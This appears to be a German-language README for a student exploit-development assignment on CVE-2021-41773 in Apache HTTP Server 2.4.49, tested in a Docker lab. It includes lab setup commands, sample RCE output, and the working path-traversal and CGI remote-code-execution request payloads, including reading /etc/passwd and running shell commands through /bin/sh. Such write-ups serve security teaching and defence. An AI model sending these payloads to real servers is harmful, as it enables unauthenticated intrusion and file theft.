
Eine umfassende Analyse von CVE-2021-41773 (Apache HTTP Server 2.4.49), mit Schwachstellenforschung, kontrollierter laborbasierter Exploitation, Proof-of-Concept-Entwicklung, Ursachenanalyse und Minderungsstrategien für Bildungs- und defensive Sicherheitszwecke.
Forschungsprojekt zu Bildungszwecken. Alle Tests wurden in einem isolierten Docker-Lab durchgeführt. Nicht gegen Systeme verwenden, die dir nicht gehören.
| Feld | Details |
|---|---|
| CVE ID | CVE-2021-41773 |
| Betroffene Software | Nur Apache HTTP Server 2.4.49 |
| Schwachstellentyp | Pfad-Traversal → Remote Code Execution |
| CVSS-Wert | 9.8 (Kritisch) |
| Offengelegt | Oktober 2021 |
| Behoben in | Apache 2.4.51 |
Apache 2.4.49 kann URL-kodierte Pfadsequenzen (%2e%2e) nicht korrekt normalisieren, bevor Zugriffssteuerungsregeln angewendet werden. Dies ermöglicht einem Angreifer, den Web-Root zu verlassen. Wenn CGI aktiviert ist, führt das Richten des Traversals auf /bin/sh und das Senden von Shell-Befehlen im POST-Body zu einer nicht authentifizierten Remote Code Execution.
cve-2021-41773-poc/
├── Dockerfile # Absichtlich anfälliger Apache 2.4.49 Laborcontainer
├── exploit.py # Python PoC – verwendet Raw-Sockets, um %2e-Kodierung zu erhalten
├── SETUP.md # Schritt-für-Schritt-Anleitung zum Lab-Setup
├── README.md # Diese Datei
└── report.pdf # Vollständiger Exploit-Entwicklungsbericht
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
Siehe SETUP.md für vollständige Setup-Anleitung und Fehlerbehebung.
Die requests-Bibliothek normalisiert %2e → . vor dem Senden, was den Exploit zerstört (gibt 400 zurück). Dieser PoC verwendet Raw-Sockets, um die HTTP-Anfrage Byte für Byte zu senden, wobei die kodierte Traversal-Sequenz genau so erhalten bleibt, wie Apache 2.4.49 sie empfangen muss.
Traversal-Payload:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
RCE-Payload:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache dekodiert %2e%2e vor ACL-Überprüfungen nicht, verarbeitet die Anfrage, leitet sie durch CGI und führt den POST-Body als Shell-Befehl aus.
Require all granted auf / verwendenAbdur Rehman Siddiqui
Exploit-Entwicklung – Aufgabe 3
Dieses Repository dient ausschließlich Lehrzwecken. Der Autor übernimmt keine Verantwortung für Missbrauch dieses Materials.